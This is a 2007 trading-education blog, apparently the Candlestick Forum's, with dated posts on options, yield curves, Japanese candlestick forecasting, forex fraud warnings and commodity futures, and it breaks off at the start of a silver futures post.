  • Choosing an online options trading solution


  • Creating an options trading plan


  • Paper trading options


  • Technical analysis


Choosing An Online Options Trading Solution
Your online options trading solution can be one of the most important decisions you will make. Although it is separate from your trading plan and paper trading, it is definitely linked with them. This is because most likely the place you choose for your online trading solution will be the same place where you do your options paper trading as well as where you open your actual trading account.

It is important to consider your trading plan and do some Internet research before you decide. Different firms offer different rates and levels of service, so it is important to consider your own investment philosophy before you choose. If you are looking for low cost and don’t mind doing your own fundamental analysis, you will likely choose a different online options trading provider than if you want a lot of the research to be provided for you.

Creating An Options Trading Plan
This is your insurance policy against making emotional investment mistakes. You will outline your entire investment strategy here. Conservative or speculative, long-term or short-term profit taking, stop loss strategies....you should include it all here. Investors that are not prepared well typically make mistakes when the pressure is on and your trading plan can eliminate this problem by taking the emotion out of your online options trading decisions.

Paper Trading Options
Learning the hard way isn’t so bad if it doesn’t cost you anything. That is the whole reason for paper trading options. If you have $50,000 in your paper trading account and you lose it, no problem right? Would you say the same thing with $50,000 of your hard-earned money? I doubt it. Your paper trading account can help you get acquainted with the online options trading broker you have chosen as well as testing your trading plan. This is an excellent way to learn how to invest so take advantage of it.

Technical Analysis
Technical analysis is central to the success of every trader. An investor who doesn’t do any technical analysis probably isn’t going to last very long. This is another factor to consider when choosing your online options trading account. If you want your technical analysis included as part of your package you will probably pay more than if you do your research at other technical analysis sites. This goes back to the level of support that you want to receive from your online broker. The more you get, the more you’ll pay. Remember one thing; be honest about your needs and tendencies, then select a broker based on them. Paying a little more in commissions is a goodthing if you need your broker to provide more services to you.

Conclusion
Online options trading can be a very interesting and profitable adventure. If you want to trade options you need to have an understanding of the strategies involved and how they will affect what you want to accomplish. Successful traders will also explore all of their options if they want to enter into online options trading.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


August 21, 2007
Trade Stock
If someone told you that your yield curve was inverted, would you rush to the doctor? If you weren’t up on your investing terms, you might just do that. When you trade stock or buy bonds it is important to know terminology and how the different conditions affect your investment strategy.  That said it is important to learn the difference between an inverted yield curve and other situations so that you don’t make investment mistakes.

What Is An Inverted Yield Curve?
Like the signals you can find when you trade stock, the investment timing of an inverted yield signals a potential change of direction of the economy. An inverted yield curve occurs when short-term Treasury note yields are higher than long-term Treasury bond yields. When this occurs, it means that investors are more favorably inclined to purchase 10-year Treasury bonds, at a lower yield, than 1-year Treasury bonds. Such trading and investing can reveal a trader’s technique for dealing with periods when it is less secure to trade stock and a variation on one’s trading plan is necessary.

With this trading system, investors believe they will make more by holding onto the longer-term bond than if they kept buying and reinvesting in short-term bonds or trading stocks which will return much less in the near future. While this seems illogical because long-term investing is usually rewarded with better interest rates since investors don’t have access to this money. However, if investors think that the economy will be slowing over the next couple of years, and then speeding up again in the long-term future, they will be content to tie up their money until then.

Part of learning how to invest is knowing the signals behind such moves. In this case, an inverted yield curve suggests a move towards a recession, hindering those who normally trade stocks. This phenomenon occurred just before the recessions of 1981, 1991 and 2000. If making money investing in stock is possible, it suggests to many economists that there is enough liquidity in the economy to prevent a recession. The inability to successfully trade stock can be a strong indicator to many analysts that the economy is headed for a downturn.

Can Investing In Bonds And Trading Stock Co-Exist?
These types of investing seem so different that it’s easy to understand such a question. The truth of the matter is that these two investment philosophies SHOULD be used together. They are the “yin and yang” of portfolio diversification. In a strong portfolio, speculative investments should be offset by stable, long-term investments. That way, if an investor loses his or her speculative ventures, the long-term investments are there to stabilize the portfolio.

When you trade stock or invest in bonds like this, you are following the basics of defensive investing. This discipline focuses on a strategy that works over years and doesn’t get overly excited about short-term highs and lows. Speculative investments are balanced by trade options that are lower yield, but lower risk as well.

Finding Stock Trades And Bonds That Work For You
This is the key to the whole process. Whether you trade stock, invest in bonds or trade options you need to find a mix that works for you and your stated plans. While you are evaluating your goals, look at your trading plan. Have you fully explored your ways to diversify your portfolio? If not, you may want to look at revising your plan. If you are seeking to implement a plan that has long-term success, it is wise to start with a plan that incorporates a number of approaches: trade stock, trade futures and invest in bonds.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


August 16, 2007
Stock Market Predictions
Wouldn’t you love to have their jobs? You know who I am talking about....every radio station, every television programs that discusses stock trading has their expert, that person who makes a healthy living passing along stock market predictions. These Wall Street psychics hypothesize about what the stock market is doing and why it is doing it. If they’re right we are all impressed. If they are wrong we never hold their feet to the fire because we are thinking about other things. As many times as they are wrong, wouldn’t it be nice to have a method for predicting movement in the market? Well, we at the Candlestick Forum are not psychics but we do predict that we can help you to forecast stock market movements for yourself.

In The Tea Leaves.....Or The Rice Fields
This isn’t reading tea leaves, using a Ouija Board or Tarot Cards....the idea of stock market predictions is that many people believe that the cycles and trends in the stock market are reoccurring and that there are signals of what is going to happen. Successfully analyzing stock market indexes allows you to find the patterns and draw educated conclusions about what a particular stock is going to do, making it easier to know how to invest in the stock.

One such method of stock market predictions is the one that we believe in and teach....the Japanese Candlestick method. We believe in it so much that our name, the Candlestick Forum, is derived from this method. Learning to make stock market predictions with Candlesticks is a matter of learning how to create chats and evaluate the major Japanese Candlestick patterns. This method dates back to the 17th Century in the rice markets of Japan when a man witnessed the repetitive nature of the trade and successfully implemented his way of monitoring it. If today’s markets, Candlesticks has become a powerful tool for not only charting the daily activity of a company but also for making accurate stock market predictions and helping investors make money investing in stock.

What Is Different About Stock Market Predictions With Candlesticks?
There are a number of ways to make stock market predictions. For many people this has entailed learning how to read stock charts and listening to the latest Wall Street news. Myself, I bounced around for a number of years trying different methods and largely coming up empty. When I was introduced to Japanese Candlesticks I found its abilities to predict the stock market very compelling.

This method is made up of three things: the charts, the symbols and the patterns. In Candlesticks, the chart is really about the same as with any other method. You can set your frequency for review (usually daily) and then begin adding the symbols. Whether you are looking at stock charts with rising trends or falling ones, the chart itself is pretty much the same.

The symbols are a different matter. Each day the symbols for Candlesticks have a great deal of information included in a simple looking package. Open, close, high, low and whether to stock closed up or down are all included in one symbol. Other market systems don’t even have this much info to try and make stock market predictions....but Candlesticks has more!

Finally, these symbols are combined to create patterns. The major Japanese Candlestick patterns are repetitive combinations of the symbols and how they respond to each other over a period of time. Whether you find “Dark Cloud Cover” or a “Shooting Star” you are able to recognize these patterns and make stock market predictions based on these Candlestick chart patterns.

Conclusion
Is this an infallible way to make stock market predictions? No, but highly accurate and beneficial to successful traders?  Absolutely. We believe in the Japanese Candlestick method and look forward to teaching you more about how to make stock market predictions based on this amazing stock trading system.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


August 14, 2007
Japanese Yen
Technical analysis is a crucial part of successful trading, whether in stocks or commodities. An important part of technical analysis is staying abreast of the news. Both stocks and commodities tend to react to the daily news, looking for information that will push the asset either up or down. Such events have been occurring in the Forex trade world due to current events and the Japanese yen has been the hot topic.

The Japanese yen is a widely traded and held currency. It is regularly one of the most active in currency trading and the yen is frequently held in reserves by other governments as part of their investment strategies. This has been the case in New Zealand and recent events there underscored the need for successful Forex traders to regularly monitor the news. Such an effort can help protect the value of current holdings and contracts as well as helping to identify upcoming acquisitions.

Economic Events In Japan
The Japanese economy has been growing at a brisk pace, allowing the government to raise interest on Japanese government bonds in an effort to draw investment back to Japan. The result of this increase in bond rates has a double-edged effect. Investors are drawn to invest in Japanese bonds as hedge funds and the Japanese yen experiences a continued strengthening. This strengthening of the Japanese yen is also has an effect on the Forex markets as the stronger Japanese yen has been making advances against various other currencies.

On The Currency Front
Nowhere is the effect of a strong Japanese yen on commodities trading more evident than in New Zealand. The Federal Reserve of New Zealand sold its holdings of Japanese yen on June 11, 2006 in order to slow down an investment rally that has been created by people borrowing cheap Japanese yen in New Zealand in order to buy New Zealand's bonds and bills. This tactic offers an extra yield over the borrowing costs in Japan.

The result of this technique has been a strong run by the Japanese yen against the New Zealand dollar, with the Japanese yen increasing by 26% over the past year against the dollar. The Reserve claimed that this sustained rally had been costing New Zealand jobs as exporters shifted manufacturing opportunities overseas. While the entire process is about governmental policy, the importance of these events should not be lost on those starting to learn Forex trading.

A Common Occurrence
Successful traders understand one thing. The events that transpire should have an effect on the strategies of investors. It is impossible to trade profitably without having an understanding of the dynamics in the Forex market. This strengthening of the Japanese yen should have investors researching the possibility of continued growth and searching for other potential currencies to pair with the Japanese yen in order to implement more successful investment strategies.

Is The American Dollar Next?
In addition to the Japanese yen, another currency starting to make it back into the Forex news is the American dollar. After a sluggish period in the economy, indications are that the economy has rebounded, jobs are being created and that the dollar will continue a recent period of growth. Again this merely underscores the importance of understanding that following the news can have a positive effect on your commodity investing.

Conclusion
The actual news about the Japanese yen isn’t the most important aspect of this in Forex currency trading for beginners. The key thing to understand is that whether it is the Japanese yen or the American dollar, it is very important to follow the news for information. Whether it is today’s Japanese yen or a different currency tomorrow, the news is a great source for helping the investor find trades.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


August 10, 2007
Trading Software
A statement that goes without saying is that computers make people’s lives easier. That is as long as you don’t have a laptop causing you problems like I do! Everywhere from shopping and buying movie tickets researching important topics, computers have changed the way we do business. In the stock market, trading software has also been helping to revolutionize trading. From research, technical analysis and share trading, trading software plays an extremely intimate role in helping people make their fortune in the Internet. Trading software has changed the way people trade and equipped them with incredible amounts of information. Whether free downloads or subscription software costing several thousands of dollars, people are looking to trading software to get ahead.

The Power of The Computer
Computers and the Internet have made collecting, organizing, and understanding information on companies a much easier task than just a few short years ago. These days finding and reviewing annual reports or knowing the latest corporate moves by a company is literally a click away.  All of the available information in trading software has made investing less about “playing the stock market” and more about intelligent investors making informed choices. From paper trading futures to Forex trading, it is easier than ever before to understand the dynamics of trading.  Some of the unique features of trading software are:
  • Tremendous Amounts of Data – Without any special packages, the Internet is loaded with information that can help successful traders understand exactly what they need and where they can find it.


  • Free and Low-Cost Downloads – Who say you can’t get anything for free these days? There is a wide variety of trading software and each one serves a different purpose. In addition, a large number of stock and futures brokers offer software to help people learn to trade successfully, also known as paper trading. One piece of advice when it comes to stock, options or Forex software. Be wary about downloading from unfamiliar sources. While you may be trying to legally make money, others can be attempting to invade your computer or our personal information to profit from you illegally. It is wise to only download trading software from sites that you know and trust.


  • Personal Finance Packages - Personal finances packages are trading software solutions that help you get all of your financial data in one place including bank account, credit cards, and stock trading investment accounts. The two most popular are Quicken and Microsoft Money. These products give you a wide variety of interfaces that let you spend hours controlling every aspect of your financial life if you so choose. They both will download information to popular tax preparation software so you can save time when you begin that process and allow you to track your investments and let you go online to update your stock portfolio. If you want consolidated financial solution, these programs are worth considering and both cost less than $100.


  • High-End Packages – Some of the most sophisticated trading software available can help investors with highly complicated fundamental and technical analysis. This kind of trading software usually is subscription based and generally includes such things as stock charting and regression calculations. For day traders, there are real time quite services that offer up to the minute quotes and it very closely resembles what the actual brokers see. Unless you are a serious day trader, this is probably not really necessary and too expensive just to have.
Conclusion
The computer and the Internet of open a large number of opportunities for investors. Whether you are looking for stock buying tips or wishing to get involved in online futures trading, there is trading software available to you. The features and power of this vast array of trading software can help you get ahead in the big world of investing.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


August 8, 2007
Stock Research
It seems like an innocent statement, “in order to make more profits, you need to research stocks better.” Everyone knows the more you understand about a company before you invest, the better you will do in the stock market, right? It may sound silly, but for many people, not enough attention is paid to technical analysis, which might explain why so many people lose money in their investing. Successful investing is the combination of many things and stock research is a huge part of the equation. We know stock research is a huge part of investing, but what exactly makes up stock research?

Breaking Own Stock Research
To research stocks successfully, you need to focus on five things that are stock price factors: fundamentals, price history, price target, catalysts and comparisons. Each of these factors is an important component of understanding the stability of a company and the value of its stock. These components are as follows:
  • Fundamentals – This is the financial nuts and bolts of the company. What is its core business? Is the company financially sound? Is the company growing? These are the types of questions that make technical analysis sites so popular; if you are really interested in taking your investing to “the next level”, you will research the stocks on each and every trade that you consider. This isn’t an optional idea; in order to understand the strength of a company, you simply must invest time to know its corporate and financial stability before determining your investment strategy.


  • Price History – You need to know what other investors have been willing to pay for a particular stock in order to evaluate its potential. If you research a stock’s price history and it has reached its all-time high, it’s very possible that it won’t sustain its movement past that point. Stocks have resistance points and you may find you’re making an investing mistake if your stock research doesn’t include this important information.


  • Price Target – A good technical analysis tool will help you to not only determine what the price of a stock has done but what it is likely to do in the future. Such stock research can be derived from a tool like Japanese Candlesticks which helps investors to see future trends with its Candlestick signals. By using these signals along with their stock research, investors can better identify what prices will do in the future.


  • Catalysts – These are the things that will change a buyer’s perception of a stock and create interest in purchasing shares. Favorable Wall Street news, acquisition announcements and other business moves can generate this interest. Stock research for catalysts usually comes from investment publications or the evening news.


  • Comparisons – Those who research stocks place a strong emphasis on the industry where a stock is found, also known as its stock sector. How a stock fares within its particular sector is crucial to determining how it is performing. A stock that isn’t one of the leaders in its sector will have a difficult time being a successful mover in the market.
Conclusion - What To Do With Stock Research
Isolated, this is simply raw data, but when analyzed together, these five components become a powerful tool for helping a successful trader make investment decisions. Researching stocks allows then investor to identify potential companies to buy or existing holding to liquidate. Many people choose to use stock screeners, computer programs which filter stocks based on certain criteria. No matter whether you are using screeners, corporate annual reports or the evening news, stock research is the key to improving your trading.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


August 3, 2007
Buying Stock

If you want to ask a difficult question of an investor, ask him or her how much it will cost when you are buying stock. You will probably get a few puzzled looks and then an answer something like, “That all depends.” In the stock market, the truth of the matter is that once an IPO has ended, there are a number of factors that influence the price of buying stock and in order to understand stock price factors, you need to understand some of the variables behind them.

So How Much Does It Cost When You Are Buying Stock?
This is actually a very vague question. It is influenced by the variables that surround it. For example, MEW Industries is a leading producer of coffee, its common stock closed today at $15 per share. How much will it open for tomorrow? Again the answer is not concrete; for example, before tomorrow’s market could open imagine the results if one of these things occur:

  • Panama, the location of MEW Industries coffee farms, is taken over by the recently released Manuel Noriega, severely impacting harvesting.


  • The stock market news is buzzing when the President of MEW Industries wins the Nobel Peace prize.


  • The American Medical Association finds that coffee cures cancer.


  • It is announced that a plague of locusts has damaged the coffee crop.


Effect Of Opening And Closing Prices On Buying Stock
Typically, the price will open close to the closing price the previous day. However, stock price breakouts occur when those buying stock sense an event that could radically change the value of a company and its stock value. Factors that motivate those buying stocks include things that impact production, public perception and overall profitability. As a result, a company will likely see up or down movement in its stock price.

Conversely, the closing price of a stock can have an effect on the next day’s price. There tends to be a carry-over effect from close to open that reduces stock volatility.  Without any significant Wall Street news overnight, the opening price and the closing price will likely be very similar.

A Fresh Start
Each day when the stock market opens, it is a new day. Those buying stocks will help to establish stock prices. A stock that was a strong buy yesterday may be sending off sell signals to savvy investors today. A stock that was struggling to day might be tomorrow’s hot stock. The key to the value of a share of stock is what someone is will to pay for it. If you pay $500 for Google stock, may want to buy a lot of it but you would buy the Brooklyn Bridge from a man on the street before you would pay $500 for MEW Industries’ stock. Remember, buying stock is a perception game. There were people who never thought Google stock would hold its IPO, let alone rise to over $500 per share. Like in life, beauty is in the eye of the beholder for those buying stocks.

An Honest Price For Buying Stock
Forget what you’ve heard. It’s not always about greed and fear! While it is true that emotional factors motive prices for the people buying stock, the market will always find the true value of a stock, giving advantages to those who are able to properly read the investment timing. An event in the news may affect the price of buying a stock but the result will only be temporary.

Conclusion
Buying stock is a matter of identifying the factors involved that can affect the price. Many times people make investment errors when they fail to realize that. Don’t worry about the puzzled looks you get for asking about the price. Do your technical analysis and learn to determine how much it costs when you are buying stock.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


July 31, 2007
Foreign Currency Trading
Maybe it’s an urban legend or maybe you’ve even done it yourself. Someone goes into a jewelry store with a Cubic Zirconium, hands it to the jeweler and asks for an appraisal. The jewelry glances at it briefly and shoots back a figure, inciting laughs at his or her expense. In the Forex markets, it would be difficult to find anyone laughing at that story simply because with the popularity of foreign currency trading has come the ever-present threat of fraudulent activities posing as legitimate Forex trade.

There are a number of warning signs to consider when evaluating foreign currency trading and it is wise to be cautious and even suspicious of anyone that offers you Forex news. Among the warning signs of fraud in foreign currency trading are:

  1. If It Sounds Too Good To Be True, It Probably Is. If it was as easy as some con-artist claim, wouldn’t everyone be doing it? There are plenty of pitfalls in currency trading and anyone who tells you it is so easy may be setting you up for the ultimate pitfall.


  2. The Promise Of Incredible Wealth. Someone that boasts of how they can virtually ensure you make a $1,000 a week (using the method you purchased from him or her of course) is just one of the outlandish claims you will find on the Internet. Foreign currency trading is a commodity market that is very unpredictable and promising such things is very misleading.

  3. The Assurance Of Little Or No Risk. Wow, that would be great, wouldn’t it? In Forex trading for beginners, everyone is taught that while you can reduce the risk in some cases, foreign currency trading IS risky and you can even lose more than you actually invested. Don’t be fooled by this one.

  4. Trading On The Margin Is A Great Idea For Everyone. This might be one of the most evil claims of all. Margin trading is the most profitable and most dangerous part of commodities trading. Telling someone that doesn’t understand the responsibility of margin trading it is good for them should be criminal. Trading on the margin in foreign currency trading gives you the opportunity to leverage great sums of money to your advantage but it can also lead to substantial losses. If you don’t understand it, don’t do it.

  5. Don’t Be Fooled By “Interbank Market” Trading. This phrase is in reference to a loose, unregulated network of trading by banks and other large companies. Put that way, it sounds like the suspicious activity that it is: an investment mistake just waiting to happen.

  6. Be Careful About Sending Money Via The Internet. Online Forex trading is very popular but you should never forget to be sure where you are sending money. It is easy to send money but next to impossible to get it back.

  7. Scams Often Target Minorities. Some foreign currency trading scams make a point to target Russian, Chinese and other groups with ads in ethnic newspapers and televisions infomercials. It pays to be suspicious when trading Forex.

  8. Verify Their Background. This one can be difficult because companies don’t like to open the books. If you can’t verify the performance of a commodity broker or the firm, don’t do any foreign currency trading with them.

  9. Don’t Be Fooled. If you are solicited by a company to purchase commodities, watch for the warning signs listed below:
  • Avoid any company in foreign currency trading that predicts or guarantees large profits with little or no financial risk. Investment strategies carry risk. Don’t be led to believe otherwise.

  • Be wary of high-pressure tactics to convince you to send or transfer cash immediately to the firm, via overnight delivery companies, the internet, by mail, or otherwise.

  • Be skeptical about unsolicited phone calls about investment options from offshore salespersons or companies with which you are unfamiliar. 

Conclusion
Foreign currency trading is plenty of risk. Fraud shouldn’t be one of them. Part of learning how to invest is being protective of your money and doing your research to ensure you invest wisely. Like the jeweler with the Cubic Zirconium, you have to make sure you don’t get fooled by a phony “diamond” while you are foreign currency trading.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


July 27, 2007
Stock Options
Beginner’s in options trading typically get a little confused in the difference between stocks and stock options. When you purchase stocks you own however many shares you contracted. If you placed an order for one share of Google stock, that’s what you own. But with stock options, it is entirely different. With stock options, your contract entitles you to decide if you want to purchase the underlying asset or not, because you have purchased the right, not the responsibility, to buy the stock at any time up until the expiration date of the contract. In addition to what you are actually buying with a stock option contract, these agreements require less capital and allow for higher leverage.

Stock options come in two forms: call and put options. Call options afford the buyer the right to purchase the stocks at an agreed strike price any time before the stock option expires. Puts, on the other hand, are stock options that give its buyer the right to sell a stock at an agreed price on or before the expiration date.  In a sense, options are kind of like a calculated bet. The person who buys a stock option (whether it is a call or a put) is speculating on the direction that the price of the stock will take. Someone who believes his or her stock price will drop may buy a put option while someone that thinks a stock price will rise may buy a call option.

Basics Of A Stock Option Contract
There are two basic styles of options contracts: American and European. An American option can be exercised at any time between the date of purchase and the expiration date. Most exchange-traded options are American style and all stock options are American style. A European option can only be exercised on the expiration date. Many index funds are European style. It is important to know which style contract you have so that you can effectively plan your strategies.

The price of purchasing an option order is called its premium. The buyer of a stock option cannot lose more than the initial premium paid for the contract, no matter what happens to the underlying security; therefore, the risk to the buyer is never more than the amount of the premium. In return for the premium received from the buyer, the seller of an option assumes the risk of having to deliver a call option or taking delivery of a put option. Unless that option is covered by another option or a position in the underlying stock, the seller's loss can be hypothetically unlimited and far exceed the option value.

Just a couple more of the basics. The strike price is the agreed amount from the contract. If this amount is negative to the stock option, it is said to be “out of the money”. If it is already positive, it is referred to as “in the money.” An option that has reached the strike price, but is not above or below is said to be “at the money.” These terms become important for planning an investment strategy as well as for determining a cost of a premium. The expiration date also plays a part in the cost of the premium because longer-term contracts have higher premiums since they are more likely to fill. Learning how to invest requires the trader to understand the terms of his or her contract.

Conclusion – Tying It All Together
A huge part of understanding stock options is understanding the contracts that drive them. Unlike common stocks don’t actually include buying anything. They are actually assets themselves. Learning about call and put options as well as the various components of a contract opens another profitable form of investing to those who are interested in stock options.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


July 25, 2007
Natural Gas Futures
There is not a day that passes in the United States that does not include discussions about commodities trading in the energy sector. Gasoline prices, oil production levels and natural gas futures are the types of topics that dominate the headlines of the evening news. While there are many different investment options in the energy sector, one of the more popular ones is investing in natural gas futures.

Natural gas use makes up almost twenty-five percent of the United States’ energy consumption. Because of the sheer size of the demand for natural gas, it is only reasonable that trading commodities in natural gas futures would be an attractive investment. The US futures market for natural gas has become an important part of futures investing with trading being done primarily at the New York Mercantile Exchange and the Chicago Mercantile Exchange.

Geography of Natural Gas Contracts
Located in New York City, the NYMEX has a natural gas futures contract that is generally considered a national benchmark price. The contract size is 10,000 million British thermal units (mmBtu) and the price for this contract is based on delivery at the Henry Hub in Louisiana. This is the central location for 16 intrastate and interstate natural gas pipeline systems that tap the Gulf regions massive natural gas deposits. Gas from this area provides resources for the East coast, the Gulf coast, the Midwest and up to the Canadian border. Commodity trading in natural gas futures is dependant on this important central hub.

In addition to the offerings of the NYMEX, two natural gas futures contracts are available for futures trading at the Chicago Mercantile Exchange. The HH and HP contracts reflect different delivery options; the HH contract settles on the same date as the physically-delivered natural gas contract and HP is a penultimate contract. Both contracts are listed for 72 months.

Contract Risk Management
There is a direct relationship between natural gas futures and electricity futures, commonly referred to as the spark spread. This relationship can be used to manage price risk in the power market sector.  In addition, options contracts and calendar spread options contracts provide additional risk management opportunities. 

Alternative Contract Opportunities
Because of the incredible amount of price volatility in natural gas futures, a basis market has developed concerning the pricing relationships of the Henry Hub and other key natural gas markets in the United States and Canada. Because of this, the NYMEX offers a group of basis swap futures commodity contracts. these contracts are quoted as price differentials be the HH and other natural gas pricing points. The basis contract size is 2.500 mmBtu and can be purchased via online futures trading. There is also a mini contract that can be purchase for regular futures trading with a contract size of 2,500 mmBtu.

The Chicago Mercantile Exchange also offers futures option contracts. These natural gas futures contracts can be obtained through the CME’s Globex system in a similar fashion to the NYMEX deals. Because of the incredible advances in Internet security and the extensive risk management plans of the futures exchanges, these online transactions are safe and offer trading to a new group of investors who have never been involved in trading natural gas futures or any other futures trading.

Conclusion
Natural gas futures offer another way to trade futures. Investors are able to participate in futures trading and experience the wide range of profit possibilities that are available.  The addition of options contracts in this market allows investors to explore different avenues for trading and to make trades that are less risky in the volatile market. With natural gas futures, successful traders are able to find powerful new ways to invest in energy.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


July 20, 2007
Crude Oil Futures
Sages and fools: the investment world is full of both. For every Warren Buffett in the world that is an incredibly successful trader, there is some Joe Blow who wants to be one. Rarely do the two come together but that meeting seems to have occurred in one strange place: crude oil futures. Even though the price of crude oil has more than doubled since the start of the decade and they continue to move upward, there isn’t a mad rush of investors in crude oil futures. Why is this? The answer to this and the related investment strategy are probably easier to explain than you might think.

A Brief History of Crude Oil Prices
Crude oil futures tend to be wildly volatile, but they have been on an upward trend for a great deal of time. Prices per barrel that were in the $30’s at the start of the decade are now dancing between $70 and $75. Some “experts” have even postulated that the price could soar over $100 a barrel or even more as demand continues to outpace supply. A crude oil futures that were around $64 at the end of 2005 rose to $76 a barrel at the end of 200c. Logic would say that crude oil futures will continue to raise heading into the future and that oil investment is a slam dunk.

The Intricacies of Oil Prices
While logic might point in that direction, nobody is investing their entire fortune in crude oil futures. Why is that? Crude oil futures are extremely volatile and depending on the oil economy to make a fortune could be a deadly mistake. While there has been an overall upward trend, there have been deep troughs in the prices and radical changes, sometimes on a daily or hourly basis. While this kind of price movement can be profitable, it is too risky for most investors, especially in futures trading where large sums of money can be leveraged and invested.

Media-induced volatility is normal when you trade futures. Whether you invest in oil, gold, wheat or corn futures, the prices are one positive article or negative news report away from a dramatic change. Crude oil futures tend to be the most volatile. Prices are tracked on a minute to minute basis and reported in every broadcast. Countries monitor supply and terrorism or wars can completely change the dynamics of their prices. Simply put, oil is an investment business unlike any other.

Why Not Bet It All?
If everyone believes that oil prices will continue their relentless climb upward, why don’t they just bet it all on crude oil futures? The most likely reason is the obvious one. Not everyone in commodity trading has faith in this trend. While futures prices normally are a good refection of the direction current prices will take, crude oil futures can be difficult to read.

The best way to follow crude oil futures and determine their movements is with fundamental analysis. Watching the news and researching the Internet are very helpful but the best source of insight is in your trading system. While it is possible to follow prices with bar charts, it really takes the power of Japanese Candlesticks to track their trends and form solid conclusions. The Japanese Candlestick method includes signals that can help find trends, even in crude oil futures, that bar charts can’t see.-

Conclusion
This is one time that the sages and fools agree. Crude oil futures are difficult to predict. Japanese Candlestick charts can offer the futures trader help with investing that he or she won’t receive from other charting methods. Remember the old saying, “fools rush in where angels fear to tread” and don’t jump into the crude oil futures market without the help of Japanese Candlesticks.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


July 17, 2007
Copper Futures

Copper may be one of the original members of the commodity trading world. Copper was first worked about 7,000 years ago and its softness, color and abundance made it a widely desired commodity. Today, this metal is a perfect indicator of the world’s economy. The third most widely used after iron and aluminum, copper is found in such industrial applications as construction, industrial machine manufacturing and electronics. Because of its demand, trading copper futures has become an important part of futures trading.

Because of the high demand in a wide variety of applications, commodity
investing
in copper futures can be very profitable. It is likely that demand will only continue to increase as more applications for this versatile metal are found. As supplies become more difficult to locate, the value of this metal will continue to climb, creating additional investment options for traders in this unique metal.

Reasons To Invest In Copper Futures
Futures trading can be a solid way to profit from investing in copper. As with any other commodity, copper futures provide investors with the ability to buy and sell this metal; a fact which is true for any commodity when trading futures. Futures is the investment strategy where you can purchase the right to buy or sell a commodity at a later date; in addition, you are able to leverage your investments, allowing you to control large sums of a particular commodity for a small price. Copper futures allow you to do this with one of the most versatile assets in the world.

Contract Details For Copper Futures

  • Basic Trading Unit - 25,000 pounds


  • Units of Price - Dollars and cents per troy ounce


  • Tick (Basic Unit Of Change) - $0.0005 per pound or $12.50 per contract. A one cent movement in price creates a $250 movement per contract


  • Trading Periods - Options contracts are traded beginning with the current month and typically the following twenty-three months


  • Options Trading - Options trading includes market orders such as stop limits, buy straddles and buy strangles, among others


  • Margin Requirements - Margins are required for open futures and short options positions. The margin requirement for an options purchaser will never exceed the premium paid

Who Handles The Copper Futures Trading?
Many futures markets exist throughout the world for trading copper futures. One of the most important locations for trading is the COMEX in New York City. This market was formed by a merger between New York Mercantile Exchange and the Commodity Exchange in 1994 and is now the world's largest commodity futures exchange. By trading copper futures at an exchange, you received several distinct advantages:

  • Contracts Are Standardized - This ensures that the agreement is consistent with accepted business practices


  • Contracts Are Secure - Exchanges are able to offer commodities trading that is affordable and has well-established risk management opportunities


  • Contract Prices Are Real-Time - Prices are instantly available to traders


  • Contract Parties Are Unknown - Since trades are made through commodity brokers, trades are made anonymously


  • Contracts Can Be Delivered Safely - Although futures contracts are rarely ever filled and delivered, futures exchanges offer solutions for safe delivery


  • Futures Exchanges Are Ethical - Exchanges offer safe, fair, and orderly markets that are protected by its strict financial standards and surveillance procedures


  • Insurance Is Available - Exchanges offer futures options and hedging insurance for additional investment opportunities

Is Investing In Copper Futures Right For You?
Deciding to include copper futures in your investment strategy is a very personal choice. Your trading plan, your investment objectives and your financial situation should all be first considered. Since you are trading on the margin, copper futures are allow you to contract large sums of money and it is even possible to lose more that your original investment while futures commodity trading. You should make sure that you understand copper futures trading and the related conditions before you enter.

Conclusion
Copper is a highly desirable commodity and its futures market can be very profitable. With an ever-increasing demand and increased pressure to mine it, copper futures will continue to be a profitable investment commodity well into the future. If you understand the process and learn the conditions involved, you can be a successful trader in one of the world's oldest commodities.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


July 13, 2007
Silver Futures
Throughout history, silver hat been a desired asset. Today’s commodity trading of silver futures is proof of man’s continued interest in this precious metal. During the centuries, silver has captured the eye of civilizations and pirates. It has been used for jewelry, religious symbols and other adornments because of its beauty and ease of forming.

Even today, the value of silver is quite high. No longer found on the Earth’s surface, mines tunnel deeper into the soil searching for this precious metal. In addition to its beauty, silver is utilized in photographic and electronic applications as well. All of this demand makes silver excellent for commodity investing and silver futures trading reflects the investment options provided by this precious metal.

Why Invest In Silver Futures?
